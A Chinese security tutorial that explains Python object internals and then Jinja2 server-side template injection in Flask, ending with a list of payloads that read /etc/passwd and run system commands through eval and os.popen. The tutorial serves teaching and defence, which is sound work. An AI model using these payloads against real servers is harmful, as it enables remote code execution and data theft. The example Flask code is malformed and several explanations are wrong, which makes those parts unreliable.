python之SSTI漏洞介绍

news2024/12/22 14:21:37

SSTI模板注入

Python类

类(class)是Python中的一种基本的程序组织结构。它们允许定义一种新的数据类型,称为对象(object),并为该类型定义行为(即方法)。

Python中的类由关键字class定义。类包含一个类名称和类定义,类定义中包含属性和方法的声明。属性是类中的变量,方法是类中的函数。类中的方法可以访问类的属性,并且还可以在调用它们时访问该类的其他方法。

以下是一个简单的Python类的示例:

class Person:
    def __init__(self, name, age):
        self.name = name
        self.age = age

    def get_name(self):
        return self.name

    def get_age(self):
        return self.age

在上面的代码中,我们定义了一个名为“Person”的类,它有两个属性:name和age。该类还定义了两个方法:getname和getage。init方法是一种特殊的方法,它在创建对象时自动调用,并用于初始化对象的属性。

使用类来创建对象的过程称为实例化。要创建一个Person对象,我们可以使用以下代码:

person = Person("Alice", 25)

在上面的代码中,我们使用Person类创建了一个名为“person”的对象,并将其赋给一个变量。我们还向该对象传递了两个参数:名称“Alice”和年龄“25”。

一旦创建了对象,我们可以通过调用其方法来访问其属性:

print(person.get_name())   # Output: Alice
print(person.get_age())    # Output: 25

通过这种方式,类允许我们定义一种新的数据类型,并在程序中创建多个该类型的对象。这使得代码更容易组织和管理,并使其更易于扩展。

Python 中的 魔术方法

__class__

在 Python 中,__class__ 是一个特殊属性,用于访问对象所属的类。当创建一个对象时,Python 会自动将该对象的类存储在 __class__ 属性中。

举个例子,假设定义了一个类 MyClass:

class MyClass:
    def __init__(self, name):
        self.name = name

然后创建了一个该类的实例:

my_obj = MyClass("example")

可以使用 __class__ 属性来获取 my_obj 对象所属的类:

print(my_obj.__class__)

输出:

<class '__main__.MyClass'>

注意,__class__ 属性是一个特殊的属性,通常情况下不需要直接访问它。相反,你应该使用 type() 函数来获取一个对象的类,例如:

print(type(my_obj))

输出:

<class '__main__.MyClass'>

这两种方法都可以用来获取对象的类。

__mro__

在 Python 中,每个类都有一个 Method Resolution Order(MRO)(方法解析顺序),它定义了解析方法和属性的顺序。在多重继承的情况下,类可以从多个父类继承方法和属性。MRO 确定了在这种情况下 Python 解析哪个方法或属性。

在 Python 中,每个类都有一个__mro__属性,它是一个元组,包含了类及其父类的顺序。当在一个类中调用方法或属性时,Python 将首先检查该类的__mro__属性中的第一个父类,然后是第二个,以此类推,直到找到所需的方法或属性。

例如,假设你有以下类:

class A:
    def foo(self):
        print("A.foo")

class B(A):
    def foo(self):
        print("B.foo")

class C(A):
    def foo(self):
        print("C.foo")

class D(B, C):
    pass

这里类 D 继承自类 B 和 C,它们都继承自类 A。在这种情况下,类 D 的__mro__属性为:

(D, B, C, A, object)

当在类 D 中调用方法 foo() 时,Python 将首先检查类 B 中的 foo() 方法,然后是类 C 中的 foo() 方法,最后是类 A 中的 foo() 方法。

你可以使用以下代码访问类的__mro__属性:

print(D.__mro__)

__subclasses__

在 Python 中,每个类都是一个对象,可以有其自己的属性和方法。其中一个方法是 __subclasses__(),它可以返回当前类的直接子类列表。

具体地说,当调用一个类的 __subclasses__() 方法时,它会返回一个列表,其中包含所有直接从该类派生的子类。例如:

class A:
    pass

class B(A):
    pass

class C(A):
    pass

print(A.__subclasses__())  # [__main__.B, __main__.C]

在这个例子中,我们定义了三个类:A,B 和 C。B 和 C 都是从 A 派生的子类。在 A 类的 __subclasses__() 方法中调用时,它返回一个包含 B 和 C 的列表。

需要注意的是,__subclasses__() 方法只返回直接子类,而不是所有子类。如果一个类有一个子类,而这个子类又有一个子类,那么 __subclasses__() 方法在父类上调用时,不会返回孙子类。

__init__

__init__ 是 Python 中一个特殊的方法(也称为魔术方法或构造函数),用于在创建对象时进行初始化操作。每当使用 class 关键字创建一个新类时,都会自动创建一个 __init__ 方法。该方法在创建对象时自动调用,并且必须作为第一个参数接受 self 参数,它表示正在创建的对象。

通常,在 __init__ 方法中,我们将对象的属性设置为其默认值或传入的参数值。例如:

class MyClass:
    def __init__(self, name, age):
        self.name = name
        self.age = age

在这个例子中,我们创建了一个名为 MyClass 的类,它有两个属性:name 和 age。在 __init__ 方法中,我们将传入的 name 和 age 参数分别赋值给了对象的 name 和 age 属性。这样,在创建一个 MyClass 对象时,我们就可以通过传入不同的参数值来初始化不同的对象。

需要注意的是,Python 中的类和对象都可以动态地添加属性和方法,因此 __init__ 方法并不是必须的。如果一个类没有定义 __init__ 方法,Python 会自动创建一个空的 __init__ 方法。但是,在大多数情况下,我们都需要在创建对象时进行一些初始化操作,因此 __init__ 方法是非常常用的。

__globals__

在 Python 中,__globals__ 是一个特殊属性,它包含一个字典,其中存储了当前作用域中所有的全局变量和函数。

具体地说,当在一个函数或方法内部访问 __globals__ 属性时,它会返回一个字典,其中包含了该函数或方法所在的模块中定义的所有全局变量和函数。例如:

x = 10

def my_func():
    print(__globals__)

my_func()  # {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'x': 10, 'my_func': <function my_func at 0x000001>}

在这个例子中,我们定义了一个全局变量 x 和一个函数 my_func(),然后在 my_func() 函数中访问了 __globals__ 属性。在输出中,我们可以看到 __globals__ 返回了一个字典,其中包含了当前模块中定义的所有全局变量和函数。

需要注意的是,虽然 __globals__ 属性提供了一种访问全局变量和函数的方法,但通常不建议在函数内部直接使用它。这是因为,过度依赖全局变量会使代码难以理解和维护,并且会增加代码出错的可能性。因此,在编写 Python 代码时,应该尽可能避免使用全局变量,而是通过参数和返回值来传递数据。

__builtins__

在 Python 中,__builtins__ 是一个特殊属性,它包含了 Python 解释器默认提供的内置函数、变量和异常类的命名空间。也就是说,所有 Python 程序都可以直接使用 __builtins__ 中的内置函数、变量和异常类,而无需显式导入。

例如,我们可以在 Python 命令行解释器中直接访问 __builtins__:

>>> print(__builtins__)
<module 'builtins' (built-in)>

在上面的示例中,我们访问了 __builtins__,并将其作为参数传递给 print() 函数。__builtins__ 返回了一个模块对象,表示 Python 解释器默认提供的内置函数、变量和异常类。

需要注意的是,尽管 __builtins__ 包含了很多有用的内置函数和变量,但在编写 Python 代码时,不应该滥用它。这是因为过度依赖内置函数和变量会使代码难以理解和维护,并且可能会导致命名冲突等问题。因此,应该尽可能使用模块、类、函数等封装机制,避免直接使用 __builtins__ 中的函数和变量。

SSTI模板注入

SSTI(Server-Side Template Injection,服务端模板注入)是一种Web应用程序安全漏洞,它允许攻击者向Web应用程序发送恶意请求,以注入并执行服务器端模板引擎中的代码。

模板引擎通常是用来处理动态内容的,例如生成HTML网页或电子邮件,可以允许程序员使用模板来组合预定义的HTML标记、JavaScript脚本和其他数据。模板引擎的基本工作原理是将模板和数据合并到一起,以生成最终输出。

在SSTI攻击中,攻击者向Web应用程序发送包含恶意模板代码的请求。如果应用程序未对这些代码进行充分验证和过滤,那么恶意代码将被注入到模板引擎中,然后被执行。这可能导致应用程序的机密信息泄露,或者使攻击者能够在受攻击的服务器上执行任意代码,从而完全接管服务器。

Python-Flask模板注入

Python-Flask 框架之所以会存在 SSTI 漏洞,是因为它使用 Jinja2 作为默认的模板引擎。Jinja2 是一个功能强大的模板引擎,它允许使用者在模板中使用变量和表达式来生成动态内容,但同时也可能导致模板注入漏洞。

在jinja2中,存在三种语法

控制结构 {% %}
变量取值 {{ }}
注释 {# #}

下面是一个简单的 Python-Flask 应用程序的代码示例,其中包含了一个 SSTI 漏洞:

from flask import Flask,render_template,request,render_template_string

app = Flask(__name__)

@app.route('/')
def index():

return render_template("index.html")
    name = request.args.get('name', '')
    return render_template_string(name)




if __name__ == '__main__':
    app.run()

在这个示例中,我们定义了一个简单的 Flask 应用程序,它有一个路由函数 index(),用于渲染一个名为 index.html 的模板。模板中包含了一个变量 {{name}},它用于显示用户输入的名称。

如果我们使用 Flask 内置的 Web 服务器来运行这个应用程序,并向 /?name=test 发送请求,那么页面将显示 "test"。这是因为 Flask 会将请求中的 name 参数传递给模板,并使用 Jinja2 来渲染模板。

然而,如果我们将请求中的 name 参数设置为一个包含恶意代码的字符串,比如

{{config.items()[0][1].__class__.__mro__[1].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}

服务器就会执行这段代码,并返回一个包含敏感信息的响应。

这是因为在 Jinja2 中,双大括号 {{}} 中的任何表达式都会被求值并转义后插入到 HTML 中。如果用户可以控制这些表达式,就可以利用 SSTI 漏洞注入任意的 Python 代码,并在服务器上执行它们。

语法解析

config.items()

config.items() 是 Flask 应用程序的配置项字典,它包含了应用程序的所有配置选项和它们的值。在 Python 中,字典是一种键值对的数据结构,可以使用键来访问和修改值。

config.items() 返回一个包含所有配置项和它们的值的元组列表。每个元组包含两个元素,第一个元素是配置项的名称,第二个元素是配置项的值。

 

config.items()[0] 是元组列表的第一个元素,它包含了第一个配置项的名称和值。

 

因为这个元素也是一个元组,所以我们可以使用 [1] 来访问元组的第二个元素,即第一个配置项的值。因此

{ config.items()[0][1] }} 会返回 Flask 应用程序配置中第一个配置项的值,通常是应用程序的 DEBUG 配置项的值。

具体来说,当 Flask 应用程序渲染包含 {{ config.items()[0][1] }} 的模板时,Jinja2 模板引擎会首先调用 config.items() 方法,该方法返回一个包含所有配置项的列表,其中每个元素是一个包含键值对的元组。接着,模板引擎会对这个列表使用索引操作 [0] 获取第一个元素,也就是第一个键值对的元组。最后,模板引擎再次使用索引操作 [1] 获取该键值对的值,即 Flask 应用程序配置中第一个配置项的值。

由于 Flask 应用程序的默认配置中,第一个配置项是 DEBUG,因此 {{ config.items()[0][1] }} 通常会返回 False,即默认的 DEBUG 配置项的值。但是如果应用程序的配置中将 DEBUG 设置为 True,那么 {{ config.items()[0][1] }} 将会返回 True。

 

config.items()[0][1].__class__

如果在 Flask 应用程序中将 DEBUG 配置项设置为 True,那么使用 {{config.items()[1][1] }} 将返回 True,这是一个布尔值。

因此,如果使用 {{config.items()[1][1].__class__}} 来获取 DEBUG 配置项的值的类型,它将返回 <type 'bool'>,即布尔值类型。

 

config.items()[0][1].__class__.__mro__

config.items()[0][1] 是一个布尔值,它的类型是 <type 'bool'>。如果我们使用 __class__ 方法获取该对象所属的类,我们将得到 <type 'bool'>。然后,我们可以使用 __mro__ 属性获取该类的继承关系,即 <type 'bool'>, <type 'int'>, <type 'object'>。这是因为在 Python 中,布尔类型是从整数类型派生而来的,因此在其继承链中包含 int 类型。

 

config.items()[0][1].__class_.__mro__[1]

config.items()[0][1] 是一个布尔值,它的类型是 <class 'bool'>。我们可以使用 __class__ 方法获取该对象所属的类,然后使用 __mro__ 属性获取该类的继承关系,即 <class 'bool'>, <class 'int'>, <class 'object'>。因为 int 是 <class 'bool'> 的父类,所以 __subclasses__() 方法返回所有直接派生自 int 的子类,包括其他标准库和第三方库中的类。

 

config.items()[0][1].class.__mro__[1].__subclasses__()

__subclasses__() 是 Python 内置的一个方法,可以返回一个类的所有直接子类构成的列表。在这个列表中,每一个元素都是一个直接继承自父类的子类。

__subclasses__()[x] 表示取该列表中的第 x 个元素,也就是第 x+1 个直接子类。

{{config.items()[0][1].__class__.__mro__[2].__subclasses__()}} 返回的是所有继承自 <class 'object'> 的类的列表,其中包括Python标准库中定义的类以及用户自定义的类

 

config.items()[0][1].class.__mro__[1].__subclasses__()[x].__init_.__globals__

{{config.items()[0][1].__class__.__mro__[1].__subclasses__()[75].__init__.__globals__}} 返回的是一个包含当前环境中所有全局变量和它们的值的字典。在这个上下文中,config.items()[0][1].__class__.__mro__[1].__subclasses__()[75].__init__ 实际上是一个函数对象,它是Python标准库中一个特定的类的__init__方法。通过访问这个函数对象的__globals__属性,我们可以获取它所在的命名空间中的所有全局变量。

 

config.items()[0][1].__class__.__mro__[1].__subclasses__()[x].__init_.__globals__.__builtins__

{{config.items()[0][1].__class__.__mro__[1].__subclasses__()[75].__init__.__globals__.__builtins__}}

 是一个模板注入的代码,它访问了当前 Python 运行环境中的内置模块,也就是 __builtins__。通过这段代码,攻击者可以利用 __builtins__ 模块中的任意函数来执行任意代码,例如在 Flask 应用中执行系统命令或者打开远程 shell 等。

由于 __builtins__ 是一个内置模块,其内部包含了许多 Python 的内置函数和对象,因此 {{config.items()[0][1].__class__.__mro__[1].__subclasses__()[x].__init__.__globals__.__builtins__}} 实际上返回了一个内置模块的字典,其中包含了所有内置函数和对象。可以通过访问这个字典来调用内置函数,例如

{{config.items()[0][1].__class__.__mro__[1].__subclasses__()[75].__init__.__globals__.__builtins__['eval']('__import__("os").popen("ls").read()')}}

上面的代码使用了 eval 函数来执行 __import__("os").popen("ls").read() 代码,这段代码会执行系统命令 ls 并将结果返回。因此,这个模板注入的代码会返回当前目录下的文件列表。

常见SSTI的payload

文件读写

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}  

{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}  

命令执行

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').system('whoami')")}}

{{config.items()[0][1].__class__.__mro__[1].__subclasses__()[75].__init__.__globals__.__builtins__['eval']('__import__("os").popen("ls").read()')}}

{{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}

本期作者

李忻蔚,深信服安全服务认证专家

深信服安全服务认证专家(SCSE-S),产业教育中心资深讲师,曾任职于中国电子科技网络信息安全有限公司,担任威胁情报工程师、渗透测试工程师、安全讲师;多年来为政府部门进行安全培训,安全服务;多次参与国家级、省级攻防比武的出题和保障任务,擅长Web安全、渗透测试与内网渗透方向。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/582379.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Zabbix监控系统超详细操作配置

一、Zabbix概述 1、使用zabbix的原因 作为一个运维&#xff0c;需要会使用监控系统查看服务器状态以及网站流量指标&#xff0c;利用监控系统的数据去了解上线发布的结果&#xff0c;和网站的健康状态。 利用一个优秀的监控软件&#xff0c;我们可以: ●通过一个友好的界面进…

多元回归预测 | Matlab阿基米德算法(AOA)优化最小二乘支持向量机回归预测,AOA-LSSVM回归预测,多变量输入模型

文章目录 效果一览文章概述部分源码参考资料效果一览 文章概述 多元回归预测 | Matlab阿基米德算法(AOA)优化最小二乘支持向量机回归预测,AOA-LSSVM回归预测,多变量输入模型 评价指标包括:MAE、RMSE和R2等,代码质量极高,方便学习和替换数据。要求2018版本及以上。 部分源码…

使用uniapp开发国际化---app,vue,nvue

插件市场下载示例 hello-i18n 示例工程 - DCloud 插件市场 项目使用 main.js引入 // 国际化 json 文件&#xff0c;文件内容详见下面的示例 import en from ./en.json import zhHans from ./zh-Hans.json import zhHant from ./zh-Hant.json const messages {en,zh-Hans: …

【Spring】 ——初识Spring

Spring学习思维导图&#xff08;仅供参考&#xff09;&#xff0c;如有需要可以到我的资源自行下载 目录 一、为什么学Spring&#x1f36d; 官方解释&#x1f9c1; 解释&#x1f9c1; 二、Spring是什么&#x1f36d; 1、核心特点&#x1f9c1; Ⅰ、控制反转&#xff08;Io…

15-Vue技术栈之创建Vue3.0工程

目录 1.使用 vue-cli 创建2.使用 vite 创建 1.使用 vue-cli 创建 官方文档&#xff1a;https://cli.vuejs.org/zh/guide/creating-a-project.html#vue-create ## 查看vue/cli版本&#xff0c;确保vue/cli版本在4.5.0以上 vue --version ## 安装或者升级你的vue/cli npm insta…

DAY 70 WEB缓存——squid代理服务器应用

正向代理&#xff1a;代替客户端向服务端发送请求。 反向代理&#xff1a;代理服务端&#xff0c;将请求转发给多个服务端。 Squid代理服务器介绍 Squid 主要提供缓存加速、应用层过滤控制的功能。 代理的工作机制&#xff08;缓存网页对象&#xff0c;减少重复请求&#x…

深度学习常用名词解析

深度学习&#xff1a; 英文DL(Deep Learning),指多层的人工神经网络和训练它的方法。一层大量的神经网络会把大量的矩阵数字作为输入&#xff0c;通过非线性激活方法获取权重&#xff0c;再产生另一个数据集和作为输出。 Epoch&#xff1a; 在模型训练的时候含义是训练集中的…

数据结构——实现双向链表

文章目录 :cool:前言:smile:带头双向循环链表的结构体搭建和初始化的操作:bear:创造一个哨兵位头结点:monkey:申请一个节点:dog:初始化:cat:打印:potato:判空:tomato:销毁:cow:尾插:strawberry:头插:banana:尾删:orange:头删:pear:查找:watermelon:在pos位置之前插入:apple:删除…

electron-vue 运行报错 Object.fromEntries is not a function

文章目录 1. 背景2. 解决方案2.1 第一步&#xff1a;安装依赖2.2 第二步&#xff1a;项目中引入 3. 组件详解 1. 背景 最近研究一款桌面端应用的开发框架electron-vue&#xff0c;在按照 electron-vue官方文档 操作之后操作如下&#xff0c;Object.fromEntries is not a funct…

抖音seo源码搭建,抖音矩阵系统源码分发,抖音矩阵同步分发

前言&#xff1a;抖音seo源码&#xff0c;抖音矩阵系统源码搭建&#xff0c;抖音矩阵同步分发。抖音seo源码部署是需要对接到这些正规接口再来做开发的&#xff0c;目前账号矩阵程序开发的功能&#xff0c;围绕一键管理多个账号&#xff0c;做到定时投放&#xff0c;关键词自动…

腾讯云服务器端口怎么全开?教程来了

腾讯云服务器端口怎么全开&#xff1f;云服务器CVM在安全组中设置开通&#xff0c;轻量应用服务器在防火墙中设置&#xff0c;腾讯云百科来详细说下腾讯云服务器端口全开放教程&#xff1a; 目录 腾讯云服务器端口全部开通教程 云服务器CVM端口全开放教程 轻量应用服务器开…

一文学会TypeScript

TypeScript笔记 文章目录 TypeScript笔记[toc]第一章 TypeScript简介1.1、TypeScript简介1.2、TypeScript安装1.3、TypeScript项目初始化1.4、Hello TypeScript 第二章 TypeScript数据类型2.1、TypeScript的类型2.2、字面量类型2.3、联合类型2.4、any 与 unknown2.5、类型断言2…

5.1 因特网概述

5.1 因特网概述 我们知道因特网是一个很大的互联网&#xff0c;它由大量的通过路由器互联起来的物理网络构成&#xff0c;我们下思考几个问题 为什么因特网要考虑包容多种物理网络技术呢&#xff1f; 因为价格低廉的局域网只能够提供短距离的高速通信&#xff0c;而能够跨越长…

渲大师云主机按量付费功能上线!

云主机可以提供强大的计算和存储能力&#xff0c;通过使用云主机&#xff0c;政企办公、视觉设计、影视制作和深度学习领域的专业人士可以获得更大的灵活性、可扩展性和计算能力&#xff0c;提高工作效率和效果。 然而&#xff0c;当我们在选择和使用云主机时&#xff0c;需要…

如何优雅的在SpringBoot中编写选择分支,而不是大量if else?

一、需求背景二、创建项目三、基础工作四、定义 Handler 类五、实现员工接口六、功能测试6.1 开发控制器6.2 功能测试 七、总结 一、需求背景 部门通常指的是在一个组织或企业中组成的若干人员&#xff0c;他们共同从事某一特定工作&#xff0c;完成共同的任务和目标。在组织或…

Logisim 头歌 偶校验解码电路设计 图解及代码(计算机组成原理)

努力是为了不平庸~ 学习的最大理由是想摆脱平庸&#xff0c;早一天就多一份人生的精彩&#xff1b;迟一天就多一天平庸的困扰。 急的同学请直接点击目录跳到下方解答处&#xff01;&#xff01; 目录 图解&#xff1a;​编辑 代码题解&#xff08;免费&#xff09;&#x…

泰酷辣!基于全志R818的开源超迷你安卓手持终端CyberPad,芒果派惊喜之作

​继推出大小仅与普通SD卡不相上下爱的超迷你模组MCore-H616核心板之后&#xff0c;鸽了近半年时间的芒果派&#xff0c;又带来了一款惊喜之作——MCore-R818核心板。 该款MCore的设计也是基于R818的特性&#xff0c;做出了一些小小的改变。 芯片本体封装设计较小&#xff0c;…

【力扣周赛】第347场周赛

【力扣周赛】第347场周赛 6457. 移除字符串中的尾随零题目描述解题思路 2711. 对角线上不同值的数量差题目描述解题思路 6455. 使所有字符相等的最小成本题目描述解题思路 6456. 矩阵中严格递增的单元格数题目描述解题思路 6457. 移除字符串中的尾随零 题目描述 描述&#xf…

如何让Task在非线程池线程中执行?

Task承载的操作需要被调度才能被执行&#xff0c;由于.NET默认采用基于线程池的调度器&#xff0c;所以Task默认在线程池线程中执行。但是有的操作并不适合使用线程池&#xff0c;比如我们在一个ASP.NET Core应用中承载了一些需要长时间执行的后台操作&#xff0c;由于线程池被…

Linux:shell脚本的介绍,创建与执行

linux的shell脚本就是windows的bat脚本&#xff0c;也就是通常所说的批处理。更简洁地说&#xff0c;就是很多命令的结合体&#xff0c;就像编程一样。 windows脚本的扩展名是.bat&#xff0c;而linux脚本的扩展名则是.sh centos在编写shell脚本的文件最上边&#xff0c;需要加…